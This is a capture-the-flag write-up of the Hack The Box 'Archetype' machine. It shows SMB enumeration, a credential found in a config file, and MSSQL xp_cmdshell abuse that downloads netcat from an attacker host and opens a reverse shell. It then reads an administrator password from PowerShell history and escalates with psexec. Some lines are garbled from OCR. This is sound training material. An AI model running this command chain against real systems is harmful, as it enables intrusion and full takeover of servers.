## **Archetype**

#### machine info



### **Enumeration**

## port scanning

perform port scanning & found several open ports

```
PORT
         STATE SERVICE
                           VERSION
135/tcp
                           Microsoft Windows RPC
         open msrpc
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open ms-sql-s
                           Microsoft SQL Server 2017 14.00.1000.00; RTM
 ms-sql-ntlm-info:
   Target_Name: ARCHETYPE
   NetBIOS_Domain_Name: ARCHETYPE
   NetBIOS_Computer_Name: ARCHETYPE
   DNS_Domain_Name: Archetype
   DNS_Computer_Name: Archetype
   Product_Version: 10.0.17763
 ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
 Not valid before: 2021-01-01T19:33:12
 _Not valid after: 2051-01-01T19:33:12
 _ssl-date: 2021-01-02T00:15:19+00:00; +1h16m40s from scanner time.
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
```

```
Host script results:
 _clock-skew: mean: 2h52m40s, deviation: 3h34m41s, median: 1h16m39s
  ms-sql-info:
    10.10.10.27:1433:
      Version:
        name: Microsoft SQL Server 2017 RTM
        number: 14.00.1000.00
        Product: Microsoft SQL Server 2017
        Service pack level: RTM
        Post-SP patches applied: false
      TCP port: 1433
  smb-os-discovery:
    OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
    Computer name: Archetype
    NetBIOS computer name: ARCHETYPE\x00
    Workgroup: WORKGROUP\x00
    System time: 2021-01-01T16:15:09-08:00
  smb-security-mode:
    account_used: guest
    authentication_level: user
    challenge_response: supported
    message_signing: disabled (dangerous, but default)
  smb2-security-mode:
    2.02:
      Message signing enabled but not required
  smb2-time:
    date: 2021-01-02T00:15:07
    start_date: N/A
```

## enum smb port

checking whether null session for smb are available or not //it seems that the backups and IPC\$ share we have permission to read only

```
—(nobodyatall® 0×DEADBEEF)-[~/htb/startPT/archetype]
$ smbmap -u '//' -p '' -H 10.10.10.27
[+] Guest session IP: 10.10.10.27:445 Name: 10.10.10.27
       Disk
                                                               Permissions
                                                                              Comment
       ADMIN$
                                                               NO ACCESS
                                                                              Remote Admin
       backups
                                                               READ ONLY
       C$
                                                               NO ACCESS
                                                                              Default share
       IPC$
                                                               READ ONLY
                                                                              Remote IPC
```

access the backups share & found a prod.dtsConfig file

```
(nobodyatall® 0×DEADBEEF)-[~/htb/startPT/archetype]
$ smbclient //10.10.10.27/backups -N
Try "help" to get a list of possible commands.
smb: \> ls

D
D
Mon Jan 20 07:20:57 2020
D
Mon Jan 20 07:20:57 2020
prod.dtsConfig
AR
609 Mon Jan 20 07:23:02 2020

10328063 blocks of size 4096. 8254386 blocks available
smb: \> ■
```

download the file to our local host & read it

//it seems that we've found our credential for sql svc user

```
smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (0.7 KiloBytes/sec) (average 0.7 KiloBytes/sec)
smb: \> !cat prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (0.7 KiloBytes/sec) (average 0.7 KiloBytes/sec)
smb: \> !cat prod.dtsConfig
getting file \prod.dtsConfig
getting f
```

so with that file extension it seems that the credential might works on MsSQL

# .DTSCONFIG File Extension

## File Type SSIS Package Configuration File



**Developer** Microsoft

Popularity \*\* 2.0 (3 Votes)

**Category** Settings Files

Format XML

#### What is a DTSCONFIG file?

A DTSCONFIG file is an XML configuration file used to apply property values to SQL Server Integration Services (SSIS) packages. The file contains one or more package configurations that consist of metadata such as the server name, database names, and other connection properties

## exploiting the MsSQL port

using impacket-mssglclient to gain access to MsSQL with the credential found & we're in!

```
(nobodyatall® 0×DEADBEEF)-[~/htb/startPT/archetype]
    impacket-mssqlclient ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
Impacket v0.9.22.dev1+20201015.130615.81eec85a - Copyright 2020 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL>
```

using xp\_cmdshell to execute commands in remote host & it shows that we're in sql\_svc user right now

```
SQL> xp_cmdshell whoami
output

archetype\sql_svc
```

now let's create a tmp directory at the C:\

```
SQL> xp_cmdshell mkdir C:\tmp
output

NULL
```

then download our netcat binary onto the remote host

```
SQL> xp_cmdshell "powershell "invoke-webrequest -uri http://10.10.14.212:8080/nc 64.exe -outfile C:\tmp\nc.exe""
output

NULL Trash stackBOF
```

this is the status 200 shows when the command executed completely

```
(nobodyatall® 0×DEADBEEF)-[~/script/revShell/ncWindows]
$ ls
nc64.exe nc.exe

(nobodyatall® 0×DEADBEEF)-[~/script/revShell/ncWindows]
$ python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
10.10.10.27 - - [01/Jan/2021 18:24:20] "GET /nc64.exe HTTP/1.1" 200 -
10.10.10.27 - - [01/Jan/2021 18:24:57] "GET /nc64.exe HTTP/1.1" 200 -
```

execute the netcat binary & we got our initial foothold!

```
SQL> xp_cmdshell mkdir C:\tmp
output

SQL> xp_cmdshell mkdir C:\tmp
output

SQL> xp_cmdshell "powershell "invoke-webrequest -uri http://10.10.14.212:8080/nc
64.exe -outfile C:\tmp\nc.exe"

NULL

NULL

SQL> xp_cmdshell "C:\tmp\nc.exe"

NULL

SQL> xp_cmdshell "C:\tmp\nc.exe"

SQL> xp_cmdshell "C:\tmp\nc.exe -e powershell.exe 10.10.14.212 18890"
```

## **Post Exploitation**

# **Privilege Escalation**

## sql-svc -> NT Authority\system

```
PS C:\users\sql_svc\Desktop> type user.txt
type user.txt

PS C:\users\sql_svc\Desktop>
```

let's check the powershell history file & it seems that previously the remote user executed something as administrator with the credential attached behind!

```
PS C:\Windows\system32> type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx
t
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
exit
PS C:\Windows\system32>
```

let's try out using psexec to execute cmd.exe with the credential it seems that we're in, now we're NT Authority\System user!

```
—(nobodyatall⊛0×DEADBEEF)-[~]
s impacket-psexec administrator@10.10.10.27 cmd.exe
Impacket v0.9.22.dev1+20201015.130615.81eec85a - Copyright 2020 SecureAuth Corpo
ration
Password:
[*] Requesting shares on 10.10.10.27.....
[*] Found writable share ADMIN$
[*] Uploading file HOvUINXl.exe
[*] Opening SVCManager on 10.10.10.27.....
[*] Creating service gkOf on 10.10.10.27.....
[*] Starting service gk0f.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>
```

voila! we've found our root flag

C:\Users\Administrator\Desktop>type root.txt

C:\Ucarc\Administrator\Dockton\